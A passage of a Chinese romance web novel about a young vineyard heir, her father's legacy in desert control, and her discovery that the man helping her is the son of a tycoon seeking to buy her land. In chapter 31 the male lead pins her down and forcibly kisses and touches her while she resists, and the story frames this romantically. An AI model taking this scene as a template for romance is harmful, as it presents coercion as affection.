贺兰念咬了咬唇,压下喉间的酸涩以及一种强烈叫做思念的情绪,道:“我上次跟你说我第一眼看见赵幸北时想起了一个人。”
提到赵幸北,程回皱了皱眉,不情不愿道:“赵幸北长得像你哥?”
贺兰念心头无法压下的酸意被程回一句话冲淡,她有点哭笑不得,随后温柔爬上她的眉梢。
“......不是。”
贺兰念见过她爸爸年轻时的一张照片,他坐在一个饭店的包厢里,穿着一身西装,望着镜头,笑得温文尔雅。
“赵幸北的气质跟我爸爸有点像。”贺兰念说。
程回:“......”
“不过只是第一眼看过去有点像,”贺兰念补充,“他们性格还挺不一样的。”
程回“哦~”了一声,咬了咬牙问:“赵幸北什么性格?”
贺兰念并未多想,直言道:“感觉他内心住着另外一个更叛逆的人,跟他表现出来的温和不太一样。”
程回闻言笑了,道:“你看人还挺准,他就是一个变态,以后都要离他远点!”
贺兰念:“......你说这句话没夹个人情绪吧?”
“你说呢?”程回弯着唇看贺兰念,笑得像只狐狸。
贺兰念:“......”她就不该问!
外面狂风不止,草垛内突然安静下来,贺兰念觉得她的感官变得异常敏感,甚至能听到程回清浅的呼吸声。
蓦地,贺兰念想起那天程回跟程净的对话......程回的家庭好像很复杂,他跟他爸爸的关系好像也很不好,还有那天电梯里他说不能让别人知道他母亲的下落......
贺兰念从来不主动问别人的私事,可是眼下,她却有种强烈的冲动,她想多了解程回一点。
这一次,她几乎鼓足了莫大的勇气,心一横问出口:“你呢?小时候过得好吗?”
程回:“......”
手电筒里发出的光越来越微弱,贺兰念看着程回躺下去,盯着草垛上面的尖顶,眼中的情绪晦暗不明。
他很久没有说话,久到让贺兰念明白,他连一个“还好”都说不出。
贺兰念开始后悔,她不该在程回面前讲自己还算美满的童年。
在一无所有的人面前炫耀自己富庶的一切,简直就是霸凌!
这让贺兰念感到罪恶。
“贺兰念,我小时候过得不太好。”
贺兰念听见程回低沉的声音。
她的心骤然一缩,尖锐的刺痛感袭遍全身。
“对不起......”
“贺兰念。”
程回一喊,贺
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兰念几乎立马看向他,“嗯,在。”
“我一个人睡害怕,你等我睡着再走。”程回已经闭上眼睛。
贺兰念:“............”
贺兰念干坐着等程回睡着,不时看他一眼,不知过了多久,贺兰念的身子一歪,眼看就要栽倒下去。下一秒,被躺着看似睡着的人眼疾手快接住。
程回双目澄明,没有丝毫睡着的痕迹,他看着躺在他手心安详睡着的脸,许久才舍得放下。
身后手电发出的一缕微光打到贺兰念脸上,程回盯着那温柔又孤绝的轮廓......
直到那缕光彻底暗掉,四周再次被黑暗覆盖,程回伸手揽住贺兰念的腰,把她拉进怀里。
这样黑暗恐怖的夜,外面风声像无数孤魂野鬼般尖利嚎叫,砾石贴着地面嗖嗖滚动撞击而来,草垛像颠簸中随时会被海浪掀翻的船。
他把温暖抱了满怀,终于安然睡去。
*
六点半贺兰念准时醒了,她感到背后暖烘烘的,腰间似也被箍着,鼻尖还有一缕熟悉的香气......想到昨晚睡着前的画面,贺兰念僵硬的翻了个身,果然看见了程回放大数倍的脸!
贺兰念惊吓后退,腰身却被禁锢着!她呼出一口气,数倍小心把程回的胳膊抬起又放下,逃似的钻出草垛前余光看见程回露在外面的脚,下意识折身拉上被子给他盖上。
贺兰念:“......”都怪给惜儿盖被子盖习惯了!
沙尘暴早已过去,贺兰念出来的时候,老人正坐在外面整理麦草,把其中碎烂掉的劣质麦草拍落,只留下优质的长麦草,这样的麦草扎进沙里,才能起到固定流沙的作用。
看见贺兰念,老人起身回屋拿了个凳子,放到她脚边。
贺兰念小时候也理过麦草,道过谢,贺兰念便拿起一把麦草整理,老人让她歇着,贺兰念却坚持。
“您是怎么认识我爸爸的?”贺兰念问。
“年轻在这边戍边的时候,你爸爸跟他一个国外的同学来西北考察,迷路了,我把他们送出去的。”老人道。
贺兰念惊讶道:“我爸爸国外的同学?”
“你爸爸大学在国外读的,波尔多,专门研究葡萄酒的。”老人放下手中的麦草,陷入回忆的模样,“我见他的时候,他激动的跟我说,他跑遍了全世界所有的葡萄酒产区,这块地方肯定能种出世界顶尖酿酒葡萄。”
老人满是沟壑的脸扯动了下,透出笑意,“我说,‘就这块鸟不拉屎的破地方,咋可能种出葡萄!’”
贺兰念越听越觉心惊,这些事她从来没有听她爸妈说过。
“你爸年轻时长得好看的紧,细皮嫩肉的,那时候他说让大家种葡萄,没有人相信他。”老人道,“没人愿意种,他就花钱雇人垦荒雇人种葡萄,你妈是头一个支持他的,那时候两个人整天为种葡萄的事东奔西走。后来真种出葡萄了,大家伙这才相信。”
“葡萄种出来了,但还是有不少地荒着,这地方天天吹沙,没人愿意回来。他又张罗着治沙,垦荒。”老人叹息一声,“他想做的事太多,总是先人后己,到最后自己最想做的事却一再耽搁。”
贺兰念无数情绪梗在喉间,却没有勇气问出,爸爸最想做的事是什么?
或许,她只是不敢确认罢了。
谈话声没再继续下去,站在草垛后的程回看一眼手机屏幕上程英纵的名字,没有接听。
要吃早饭了,贺兰念去喊程回。
她刚走过去,迎面撞上程回走过来。
“贺兰念,你昨晚什么时候走的?”程回问。
猛不丁的,贺兰念被问懵了下,“……你,你睡着……我,就走了……”
程回挑眉,长长“哦~”了一声。
“面对我这种美色,你还能做到这么自觉。”程回啧啧赞叹一声,“贺兰念,你还挺厉害。”
这算什么厉害?!!
不是!
贺兰念都要记忆错乱了,她今天早上旁边躺着的是程回吧?
贺兰念干笑两声,心虚的结束了这个话题,道:“要吃饭了。”
免得程回再问东问西,贺兰念立马转身走开。
29. Chapter 29
简单吃了早饭,老人骑马拉着装满麦草的板车,程回开车载着贺兰念,车后面也拉了一车麦草,三人到最新的治沙点。
漫漫黄沙,被无数麦格固定住,一眼望不到头。
任何人见到这番壮阔的场景,都免不了心头震撼。
一个人要花多少时间,多大的热情,才能做到这个地步。
老人到了地方一刻不停歇,卸下麦草就开始干活。
他先把麦草呈方格状铺在沙上,再用铁锹轧进沙中,留麦草的三分之一或一半立在外面,再将方格里面的沙子拨向麦草根部,这样就使麦草牢牢竖立在沙地上……不仅阻挡了风沙,方格里面还可以种植物。
“葡萄园怎么样?能种成吗?”老人边扎麦草老人边问。
贺兰念犹豫了一下,答:“......还好。”
“你爸爸最想做的事没做成,好在葡萄园留下来了。”老人语气满是遗憾。
贺兰念听见了,但她什么都没应。
程回听着,神情慢慢凝住。
又把一把麦草轧进沙里,老人道:“葡萄园留下来,你爸爸这一辈子的心血,也算是后继有人了。”
贺兰念愣住。
程回闻言扯了下嘴角,“您这就有点道德绑架的意思了。”
贺兰念身体一僵,目光复杂的看向程回。
程回跟人沟通好像向来如此,不管对方男女老少地位高低有钱没钱,向来随自己心意,永远不惯着谁,百无禁忌。
只是贺兰念没想到程回会这样反驳老人,像是不高兴有人往她身上套枷锁。
老人第一次听“道德绑架”这个词,不过很快他便想明白是什么意思了。
不知想到什么,老人直起身看向一望无际的麦格防沙带,那全是他一格一格扎出来的。
“你说得也对,是我欠考虑了。”老人道,“人活一辈子,总要做点自己想做的事。你要是有别的想法,也不必为几亩葡萄园束缚着。”
他眺望着,这一刻亘古的时间仿佛都沉淀在他眼中,“想当年我戍边结束要来西北治沙的时候,家里人都不同意,我还不是来了。”
他羞涩笑了下,“我也不是为高尚活着,我是为自己喜欢的事活着。”
回去的车上,贺兰念一直没有说话。
程回除了偶尔用余光看贺兰念一眼,也始终沉默着,心事重重的样子。
直到车停在农场门口,贺兰念才大梦初醒般回神,她看了眼仿佛很久没有回的农场。
不知是不是惜儿不在身边的缘故,看着空荡荡的房子,贺兰念突然感到一丝抽离。心底就这样生出怀疑,她真的存在于这里吗?
老人说,人活一辈子,总要做点自己想做的事。
但贺兰念始终不知道她想做的事是什么,这让她有点沮丧,一个人怎么能连自己喜欢做什么事都不知道呢?
“程回。”贺兰念还是不知道他到底叫陈回还是程回,眼下也不想问了。
“嗯?”
“你有特别喜欢做的事吗?”
程回默了下,一脸认真问:“正经的还是不正经的?”
“......正经的。”
“正经的?”程回思索了片刻,最后放弃道,“正经的没有,不正经的有很多,想听吗?”
“不用了。”贺兰念开门下车,头也不回大步往家里走,“再见。”
“贺兰念!”程回高声喊她。
贺兰念下意识回头,看见程回低垂着眼皮盯着某处,继而抬起目光滑向她,他似是下了什么决心。
“不要被任何一种感情束缚自己——”
话音刚落,程回想到什么,他先自嘲的扯了下嘴角。
贺兰念似懂不懂的看着他。
“贺兰念,我送你出国留学吧。”程回道,“选一个你喜欢的专业,只要你喜欢,什么都可以,都不喜欢随便选也没关系。”
最后,程回几乎压着眉,小心翼翼问:“行吗?”
贺兰念:“......”
她定定看着程回,目光闪烁,迷茫又畏惧,像初生的婴儿第一次看这个世界。
程回立马就心疼了,他下车欲往贺兰念身边走,却看见贺兰念后退了一步。
她眼睛微红。
程回停下脚步。
“好像不太行。”
程回听见贺兰念用压抑的声音低低说。
“对不起啊。”
*
贺兰念站在一堵门前,她一直一直站在那堵门前,却始终没有勇气打开。
终于,在太阳即将落山的时候,贺兰念把手中攥出汗的钥匙插进了锁孔。
锈迹斑斑的铜钥匙在锁孔里发出滞涩的呻吟,陈年橡木门被推开的瞬间,夕阳余晖倾泻而入,无数尘埃在光柱里跳着金色华尔兹。
贺兰念下意识屏住呼吸,却仍有细小的尘埃钻入鼻腔,紧接着酒窖冷冽的酒香,裹着陈年橡木特有的醇厚香气扑面而来。
四十二个橡木桶整齐码在石墙边,上面用红漆标注的年份已经褪成斑驳的暗褐色。
贺兰念走过去,伸手一一抚摸着那些数字,从1992年的只有单桶,到1998年开始有两桶,最终戛然而止于2016。
1992年贺兰承出生,1998年贺兰念出生,从他们出生那年,以及之后的每年,爸爸和妈妈都会亲自酿一桶酒放进来......一直到2016年,贺兰念十八岁,贺兰承二十四岁,一共四十二桶。
酒架最高层有一个豁口的粗陶罐,上面有贺兰念幼年画的葡萄藤涂鸦,里面曾装过贺兰念十岁那年偷偷酿的野葡萄汁。
某个盛夏的夜,爸爸带她来酒窖拿酒喝,他似早就发现她的小秘密,把她扛在肩头就要拿她这个陶罐,贺兰念不好意思让自己拙劣的酿酒技术问世,死活不肯拿,惹得他哈哈大笑。
见贺兰念绷着小脸不高兴,他便盯着陶罐上歪七扭八的葡萄藤涂鸦猛夸:“我家念念这画画得好!简直可以拿来当酒庄的商标,又简单又形象!爸爸就喜欢这种简约风。”
工作台上,被镇纸压着的笔记本上是“酒庄规划图”,日期定格在三年前。
贺兰念的指尖几乎深深掐进掌心,她再也不敢靠近那个他爸爸最爱待的工作台,浓重的潮气爬上她的眼眶。
她怎么会不知道父亲最想做的事是什么呢?
贺兰念看着自己单薄的双手,她很害怕,她真的很害怕。
她既不坚强也不聪明,甚至连如何酿酒都不精熟......她不敢碰爸爸留下的东西,她害怕她一碰,所有东西都轰然倒塌了。
就像现在,她连葡萄园都快守不住了。
手机响了。贺兰念看着上面“周砚”的名字。
她的这些大学同学都已经毕业,开始奔向崭新的人生......只有她,依旧停滞在三年前。
贺兰念想起程回让她留学的话。
可是她真的能抛下这里的一切,去异国他乡重新开始吗?
手机第二次响起的时候,贺兰念走出酒窖,点了接通。
“喂?贺兰念?你现在有时间吗?”周砚稍显急切的声音从听筒里传出。
虽然周墨戏耍了她,但对于曾帮过她的周砚,贺兰念依旧做不到迁怒,她顿了下问:“有事吗?”
“是有点事。”周砚又很快改口,“不,是很重要的事!你现在在哪?我去找你。”
“我在家。”
周砚立马道:“好,你等我一下,我知道你家在哪,我很快过去。”
不等贺兰念再约个地点,周砚已经挂断电话。
已经到晚饭时间了,贺兰念没什么胃口,她倒了一杯葡萄酒坐在院中大枣树下,一边发呆一边等周砚。
不到半小时,一辆车停到农场门口,周砚下车大步走来。
只是几天没见,贺兰念却觉得周砚看起来成熟了不少,休闲装也换成了笔挺的西装,头发梳到后面露出额头,看着清爽又利落。
看见贺兰念,周砚几乎用质问的语气道:“你自己回来的?怎么也没跟我说一声?”
贺兰念:“......
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”
意识到自己语气不太好,想到他爸让他过来的目的,周砚状似叹口气,道:“再怎么说也是因为我你才去的京城......”
“我先替我哥向你道歉吧。”周砚稍微低了一下头,道,“对不起,我也没想到我哥会做出这种事。不过,想买你家葡萄这件事绝对是真的!”
周砚盯着贺兰念,“我爸出差回来已经把我哥骂了一顿,而且也不让我哥再找你,你别担心。”
“......没关系。这件事已经过去了。”贺兰念直觉周砚找她还有别的事,便试探道,“如果你是因为这件事专门过来,其实——”
“除了道歉,我还带来了一份合同。”周砚打断贺兰念,拿出一份合同放到桌上,“你看一下,如果没问题,我现在就可以代替我爸直接签。”
贺兰念看着摊开的合同,款项上是她前几天不管如何努力也谈不下来的条件,但是眼下,她并没有丝毫的开心。
“对不起,这个合同我可能签不了了。”贺兰念把合同合上推给周砚,“我很感谢你在我最为难的时候帮我,但是现在我已经答应别人把葡萄卖给他们了。”
周砚拧眉,“既然感谢我那时候帮了你,而且也是我们家先说买你家葡萄不是吗?就算是先来后到,也该是跟我家合作吧?”
“......你说我家的葡萄?”贺兰念发现问题,问道,“你们只想买我家的葡萄吗?”
周砚被贺兰念问懵了,他来之前他爸说的就是贺兰念家的葡萄没错!他又看了眼合同,上面写得也是贺兰念家葡萄园里的葡萄。
“你卖的不是自己家的葡萄?”周砚问。
贺兰念摇了摇头,“不是。更确切的说,优先是其他葡萄园的葡萄。”
贺兰念家的葡萄并不难卖出去,销售状况不好的年份,她家葡萄都是卖给收购贺兰山葡萄最多的采购商。
周砚过去给他爸打了通电话,再回来,他脸色不太轻松。
“其他葡萄园的葡萄公司暂时无法收购。”周砚顿了下,争取道,“即便是你家的葡萄也要卖出去吧?卖给别人也是卖,如果价格上你不满意,我可以跟我爸申请再加点。”
贺兰念还是拒绝了,“抱歉啊。”
周砚脸上逐渐出现烦躁,“先卖掉自己家的不好吗?管那么多做什么?”
贺兰念没说话。
“所以,你要把你家的葡萄卖给谁?”周砚问。
贺兰念:“......”
想到程回,贺兰念不由想起她拒绝他的提议后,他瞬间暗淡的神色。
贺兰念一直都知道程回是敏锐的,大概是看出她在面对治沙老人问话时的为难,所以才说出让她出国留学的话来吧?
“是程回吗?”看着贺兰念失神的模样,周砚怒声道。
贺兰念抬眼看向周砚,有那么一瞬间,贺兰念心慌了一下,好像她心底孱孱弱弱的防线就要被外部势力炸开,毁灭性的洪水再也止不住,淹没一切。
“你知道程回是谁吗?他爸叫程英纵!就是要收购你们葡萄园,天纵集团的程英纵!”
说出这些话时周砚体验到了前所未有报复的快感,不仅仅因为揭穿了程回,更因为他看出程回贺兰念的感情已经很不一般!
或许,贺兰念对程回也是一样!
这种带着毁灭感的报复简直让周砚激动不已,“你以为他真的是来西北参加越野赛的吗?他是被他爸派来收购你们家葡萄园的!”
“他一直在骗你!”周砚狰狞的笑了一声,“他甚至连自己真实的名字都没有告诉你!”
玻璃杯落地的脆响惊飞了一个农场的虫鸣,贺兰念垂眼看着飞溅的葡萄汁在地面蜿蜒成血色。
顷刻间,她似是晕血症再次发作,脑袋眩晕耳鸣不绝,天地在她眼前旋转,喉间泛起葡萄酒发酵过度的酸涩,贺兰念突然冲向洗手池干呕。
“你相信他能帮你卖葡萄?贺兰念,你是没上过大学,还是没见过世面,未免太天真了吧!”
周砚的话似一把利剑将贺兰念彻底穿透!
30. Chapter 30
“咚咚咚——”
敲门的声音从门口传来。
程净倚着门框,他先看了一眼干呕的贺兰念,随后看向周砚“啧”了声,“周家小弟,你也是出息了哦~大半夜的上门欺负人家美女姐姐。”
“程净!”周砚看见程净,想到他此刻出现在这里的原因和目的,冷笑一声道,“刚好,程回不是你哥吗?你来说说你们到底是姓程还是陈?”
程净不假思索道:“陈呀。”
“......”周砚被狠狠噎了一下,立马反唇相讥道:“你爸程英纵知道他的姓改了吗?”
“我管他改不改,他姓什么关我和我哥什么事?”程净浅笑,“怎么?周二公子有兴趣去让程英纵改个姓?”
“......”对于程净的胡搅蛮缠,周砚简直就是一拳打在棉花上。
“明明是来求人家的,怎么还这么傲慢?”程净一脸嫌弃的看着周砚,“真是愚蠢不自知。”
仿佛没有看见周砚涨成茄色的脸,程净继续道:“是因为你们这些贵公子们见的世面太多,还是受的挫折太少?所以求人时连演一演都不会?”
“还你带来一份合同,没问题你可以直接签?鬼跟你签哦!”程净乜着周砚,“求人还把自己放在主人翁的姿态,问一句‘你还想把葡萄卖给我们吗’会死啊!”
“来来来,我来给你上上表演课——”
周砚从来没有被人这样下面子,他脸色通红大喝一声:“够了!”
丝毫没有被周砚镇住,程净云淡风轻的扯了下嘴角,“觉得够了就赶紧走啦,在这杵着干嘛?当瘟神啊?”
周砚脸上神情变了又变,等他看到一旁一脸冷漠看着自己的贺兰念,终于意识到自己好像把事情搞砸了......
周砚握了握拳,压下暴怒的脾气,对贺兰念最后说了句,“我们以后再聊。”随后转身离开。
“以后?”程净可笑的看着周砚的背影,“想得倒挺美。”
周砚一离开,程净立马扭身走到贺兰念身边,他一点不见外的一屁股坐在椅子上,伸手给自己倒了杯红酒。
慢吞吞喝了口红酒,程净惊讶的看了眼没有任何标签的红酒瓶,问道:“这是哪家的酒,味道不错。”
贺兰念在手池边洗脸,没回他。
程净丝毫没觉得尴尬,他眉眼弯弯看着贺兰念的背影,看起来心情不错的打招呼:“美人姐姐,好久不见啦~我来找你你开心吗?”
贺兰念实在开心不起来,眼下也没有心情伪装,她洗了把脸后坐到程净对面,给自己倒了杯茶。
“不太开心。”贺兰念淡声道,“如你所见。”
“哎呀不要为烂人不开心啦~”程净朝贺兰念做了个小丑的鬼脸,似乎是想把贺兰念逗笑。
贺兰念定定看着他,脸上没有丝毫笑意。
程净便夸张的抹了抹眼角不存在的眼泪,神色伤心道:“我再也不能逗姐姐开心了吗?好难过啊~”
“……”贺兰念真心觉得他不去学表演可惜了,不过无事不登三宝殿,她便直接问,“你有事找我?”
程净嘻嘻笑了两声,“我是来说我哥坏话,然后让姐姐讨厌他的!姐姐想不想听?”
“……不想听。”贺兰念沉默了一会儿,问,“谁让你来的?”
程净立马用夸张的表情看着贺兰念,“美人姐姐果然聪明。”
“程英纵让我来的。”程净非常直言不讳。
贺兰念并没有太多意外,如果天纵集团想收购她家的葡萄园,肯定会让人过来阻止程回买走他们的葡萄。
想到这,贺兰念脸色凝重起来,程回这样做,无疑同时得罪周家和他爸爸。
程回是什么意思呢?
他跟自己回来是要继续收购葡萄吗?他让自己出国,也是要收购她家葡萄园的补偿吗?
那他又为什么帮自己卖葡萄呢?
太多谎言和欺骗,贺兰念一点都搞不懂了!
“为什么告诉我?”贺兰念问程净。
“我不说姐姐也能猜到,那有什么不可说的?”程英咧嘴笑着说,“我喜欢跟聪明人打明牌。”
然后他还不忘贬低一下周砚,“这点周砚那个虚伪鬼大概是不会明白的。”
“反正你现在已经被我哥伤透了心。”程净笑着说,“应该不会想见他了。”
贺兰念扯了下嘴角。
她的脸只要一冷下来,不仅犀利感如异军突起,也很难让人看出情绪。
“不,我还会见他。”贺兰念说,“我还得靠他卖掉果农的葡萄,那些葡萄不能烂在地里。”
贺兰念歪头瞧程净,眼睛澄净得似能一样看透人们心中的任何污浊,“除了他,你也不能帮我卖葡萄,对吧?”
程净先是触到贺兰念眼神的那一刻怔住,随后他眼角细微抽搐抖动了下,笑容有丝僵硬。
“如果你这样认为的话。”程净眼中暗芒闪动,“不过你大概不了解,我哥哥做事向来不达目的不罢休。”
“而且,为达目的不择手段。”程净微笑看着贺兰念,“这是爸爸对他的规训,根植在骨血里的。友情提醒,一定要记住哦。”
贺兰念只是面无波澜的看着他。
“你看起来就是为了说这句话来的。”贺兰念神色清冷,掀了掀唇点明道出,“现在,你的目的也达到了。”
程净愣了下,“姐姐这样聪明,让我很难办呀~”
很快他又无所谓的笑起来,被揭穿后他看起来有点意兴阑珊,“好吧,被你看穿了。”
话锋一转,程净突然道:“我饿了,一天没有吃东西了,姐姐可不可以可怜可怜我,给我点吃的?”
贺兰念:“......镇子上有饭店。”
“可是我饿得走不动了~”程净脑袋和双手都趴在木桌上,一副虚弱不能自理的模样,耍起赖皮。
程净给贺兰念的感觉一直不太好,她内心并不愿意跟他接触。但眼下只是一碗饭,就算讨饭的来了,正常人家也都会给一碗,程净这个要求倒是让她不知如何拒绝了。
叹了一口气,贺兰念回屋煮了两碗面条。
见贺兰念端了一碗面出来,程净立马跳起来,几乎蹦蹦跳跳跑过去,背影都开心到无以复加的模样,从贺兰念手中接过滚烫的面碗。
“谢谢美人姐姐~~~”程净甜美的尾音简直要飞起来,“我一定会好好吃,把它们全部吃完的!”
贺兰念:“......”
贺兰念给自己端了半碗,跟程净错开坐在长桌的另一边。
只要贺兰念还清醒着,就算不饿,她也会逼自己把食物吃下去。
这一点在这几年已经成为习惯,因为有惜儿,做到也并不艰难。
今天却尤其的艰难......贺兰念已经很长时间没有过这种难以下咽的感觉了,她看着怎么也消不下去的半碗面。
贺兰念头痛的低下头,几乎把脸埋进碗里。
头脑混沌间,贺兰念似模模糊糊听见程净喊了一声,“哥?”
想到程回这个名字,贺兰念更觉得头有千斤重,头皮都要炸开。
她阻止自己去想程回,却心不由己
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。
不能逃避!
她必须面对程回!
毕竟还有求于人家......
不知过了多久,贺兰念强迫自己抬起头,她一只手握着筷子架住沉重的头,扭脸望过去。
程净不知道什么时候已经离开,程回双手插兜站在她家院子中间,脸上没有丝毫表情,静静盯着她。
不知是他身后夜色还是从他身上散发的黑色雾气,他似融在黑暗中,身影修长,茕茕孑立。
“程回。”贺兰念开口,“这一次,我有喊对你的名字吗?”
程回看着她,没说话。
贺兰念的头越来越痛了,她又艰难抬了抬,免得把脸摔在桌上,喉间苦涩难忍。
见程回迟迟不肯回答,贺兰念不再等这个其实对她已经没有意义的问题,而是问道:“你是来终止我们的合作的吗?”
程回薄唇抿成一条线,神情冻住了一般。
贺兰念放下自尊,再次开口:“拜托你,这个问题对我很重要——”
程回打断她,一开口,声音嘶哑的不成样子。
“不是。”
“那就好......”得到否定的回答,贺兰念以为压在她心口的大石头会自然消失,她却悲哀的发现,似乎并没有,反而越压越重,她几乎喘不过气来。
她艰难扭过头不再看程回。
“我们还是合作伙伴,你是买家,我是卖家。”贺兰念两只手撑着桌面,慢慢站起身,她没有看程回,眼睛直勾勾盯着坨成一块的面条。
“做完这笔生意,我就不跟你做生意了。”贺兰念道,“葡萄园我不会卖的。”
“至于原因,你应该知道。”说完贺兰念又自嘲笑了下,“算了,你好像也无所谓知不知道。”
“如果你执意收购,”贺兰念顿了一下,“那就看看吧。”
程净说你为达目的不择手段,贺兰念在心里想着,那就让她看看你如何不择手段吧。
面条只吃了一口,胃里又翻江倒海,她实在是吃不下去了。
“我有点头痛,先回屋休息了,你走的时候帮我把大门关上。”贺兰念转身往屋里走,她尽量让自己的身体保持平衡,步子如平常无两样。
“谢谢。”贺兰念微微侧头,道了一声。
也不知是谢程回还肯帮她卖葡萄,还是谢程回帮她关门。
贺兰念隐隐约约听到脚步声,以为程回要追上来,心里不由一慌。
刚才的谈话已经耗尽她的全部精力,眼下她是真的没办法面对程回了。
看着只有几步台阶就能走到的客厅门,贺兰念不由加快了脚步,然而她刚跨上台阶,步子没调好,腿一歪,摔在台阶上。
还没等她站起来,腰间突然出现一股大力,贺兰念被捞起来,熟悉的香味席卷而来。
贺兰念心底不由生出怒意,悲愤!
“程回!放开我!!!”
回应贺兰念的是她被摔在沙发上,身体被死死压住。
程回岔开腿跪坐在贺兰念身上,一只手把贺兰念挣扎的双手压在沙发上,一只手捏着她的下巴让她看着自己。
程回神情崩坏,情绪不加掩饰的倾泻而出,紧蹙着眉问:“为什么要留程净吃饭?”
贺兰念还没从突然的天旋地转中反应过来,根本没听清程回说了什么。
全身似被钢铁钳住,贺兰念的挣扎被不费吹灰之力压住,她压下火气问:“什么?”
“为什么要留程净吃饭?!”程回又重复一遍,他看起来介意的要命,一副不问出来不罢休的模样。
31. Chapter 31
贺兰念想挣开手推开程回,但除了白费力气,她几乎撼动不了程回丝毫。
“这件事跟你没有关系。”贺兰念扭开脸不看程回。
“有关系!”程回声音嘶哑道,“我不高兴!”
天知道他挂断程英纵的电话,心乱如麻赶到贺兰念家,却看见贺兰念跟程净有说有笑,甚至还给他做饭......那一刻,程回恨不得把程净扔到西天去!
程回把脸伏在贺兰念侧颈,声音闷下去,“贺兰念,你对程净笑,还给他做饭,我很不高兴。”
“......”贺兰念都没法形容自己的心情,程回说着自己的委屈,却让她内心被压抑的某种情愫不断冒出酸涩,逼得她眼眶发酸。
贺兰念尽量让自己归于平静,说:“你骗我,我也不高兴。”
听出贺兰念声音里压抑的颤音,程回的身体僵了一下。
他抬起头,看见贺兰念泛红的双眸,在雪白皮肤和漆黑眉眼的映衬下,妖异又脆弱。
程回口舌有点发干,默了一会儿,道:“......对不起。”
贺兰念默然收拾自己的情绪,她根本不想再掰扯程回骗她的问题,他们现在只是合作关系,以后......也不会再见面。
“那个新公司的股份我不会要。”贺兰念冷静道,“所有事情都是你做的,钱也该你赚,而我,只是你的一个客户。除了邻居的葡萄你们要按市场价收,我可以给你承诺,我家的葡萄会半价卖给你们。”
听到贺兰念理智决绝的声音,程回愣愣的看着她。
“......我才不要这个承诺!”程回眼中闪过无措,“贺兰念,你觉得我缺这一点钱吗?我当初为什么建这个公司你不知道吗?”
被贺兰念古井无波的眼神注视着,程回几乎慌乱道:“我给你道过歉了......”
他顿了下,“我是骗了你......可是,我还没收购你家葡萄园不是吗?”
徐徐、徐徐叹了一口气,贺兰念盯着程回的眼睛,问:“可是程回,你能保证你以后也不会收购葡萄园吗?”
“......”
想到他的母亲,“不会”两个字被程回封在唇齿......
看着贺兰念犀利又坦荡的眼睛,程回眼中闪过深深的痛苦。
“贺兰念。”程回喊她。
贺兰念没应。
程回脸上所有的情绪似潮水退去,越来越淡,淡到贺兰念感到一丝害怕。
“我现在请求你跟我结婚,”程回轻声问,“你会答应吗?”
一瞬间,贺兰念脸上表情复杂的几乎扭曲。
最后她以迷茫又嘲弄的表情看着程回。
“程回,这就是你的手段吗?”贺兰念简直不敢相信自己听到了什么,她不明白,这种话程回为什么就这么轻易说了出来。
程回抿着唇,他看见了贺兰念眼中的嘲讽,心似被无形的刀光剑影侵略。
“还是要选择一下吧,比如说这句话的对象,”贺兰念顿住,然后拧着眉把下面的话说出口,“起码要对喜欢你的人说才有用啊。”
“可是,我不喜欢你。”
万籁俱寂。
贺兰念甚至不敢看程回的表情。
“贺兰念。”
贺兰念听到程回的声音,那是什么音色呢?贺兰念感觉她脚踩着北极的碎冰,耳边是寒风呼啸,从体内蔓延的寒意侵浸她身心。
她不由看向程回,却意料之外看见程回阴翳中夹杂茫然的神色。
“贺兰念,求婚后的下一步该是什么?”程回问。
贺兰念:“......”
程回盯着贺兰念红润的唇,掀了下嘴皮,“我要吻你了。”
贺兰念顷刻间瞪大了眼睛,意识到要发生什么,心惊下她几乎用全身力气挣扎,急声警告:“程回——唔!!!”
程回揽着贺兰念的腰猛一拉,把贺兰念的头放到沙发靠背顶端,贺兰念只能仰面,修长白皙的脖颈完全暴露在空气中……
脸被捧住,吻倾覆而下,呼吸失速,力度也失控,激烈的吻一路向下,在贺兰念脆弱的脖颈流连……
程回的呼吸越来越急促,甚至带着某种不正常的兴奋和恶劣,他吻得越来越重,贺兰念甚至能感到丝丝密密的痛感。
当灼烫的手摸到她腰腹时,贺兰念真的慌了,程回几乎被情绪裹挟的状态很不正常!
犹豫了一下,贺兰念一口咬住程回侧颈,见程回没反应,又用力咬下去......
贺兰念都闻到血腥味了,才换来程回动作微微顿了一下,趁着这个机会,贺兰念用力推开他!
程回呼吸急促起伏,低垂着头坐在对面茶几上,像只蓄势待发失去理智的野兽。
片刻,他缓缓抬起头,侵略的目光在看见沙发上的贺兰念时,怔住。
贺兰念双唇红艳,眼尾一抹湿红,衣衫凌乱,露出大片锁骨,脖颈上满是暧昧的痕迹。她的脸本就秾丽,这下更是丽色无边......
头顶柔和的灯打在贺兰念身上,如同裹了一层光,她戒备的看着他,可怜又魅惑。
意识到自己做了什么,程回心中生出深深的愧疚和自责。
“我可以抱抱你吗?”程回声音低哑,他几乎祈求的看着贺兰念。
贺兰念害怕他又自作主动强行抱她,下意识喝了一声,“程回!”
一开口,贺兰念都感觉到她的声音颤抖的不成样子,她狼狈的拉了拉被揉皱的衣服,见程回没动,才强行忍住远离他的动作。
“那你,”程回顿了一下,“可以抱抱我吗?”
贺兰念:“......”
贺兰念已经分不清程回是刻意还是真的痛苦,他的神情像是对自己的失控深恶痛绝,对自己产生深深的厌弃,他挣扎的神情好像在用意志跟身体里的魔鬼做斗争,他要被什么恶魔般的情绪撕碎了......
“程英纵说,爱情只是造物者让人类繁衍的工具。”程回低下头不再看贺兰念,声音低落,“他说爱情是一种病,是人性的弱点。我不能有任何弱点,所以我不能有爱情。”
“他曾经用很多方法让我对爱情从生理上产生厌恶,让我这辈子绝不可能触碰爱情……”
“可是为什么,”他抬头静静看着贺兰念,“我看见你的第一眼,就觉得爱上了你。”
“......”
贺兰念看见程回眼底的恶魔喷出灼烧的火焰,看见他的灵魂在火焰中挣扎,她看见那只恶魔癫狂大笑,于是程回痛苦的抱住了头,仿佛要把自己撕碎。
贺兰念手指动了动。
程回突然站起了身。
他起身后退了几步,走到门口时回头看着贺兰念,眼神是疯狂又沉静的。
正如他说,他一直都会清醒。
看着程回,贺兰念此时此刻才明白,他是让自己在癫狂中保持清醒。
“那就看看吧贺兰念。”程回说。
“你现在也是我的目的了。”程回的声音在寂静的夜里异常清晰。
贺兰念心头狠狠一悸。
“看看我能不能娶你,看看我今生的爱情会不会改变。”
贺兰念听见程回用平静的语调说出这番话。
程回离开后,贺兰念呆坐在沙发上,心情久久不能平复。
良久,她突然想再看看《阿吉娜》,那个为了爱情义无反顾,至死不悔的女子。
家里这套童书有很多版本,贺兰念起身从书架上随意抽了一本出来,坐在沙发上翻阅。
又重读了一遍前面的情节,贺兰念来到给惜儿讲到的部分。
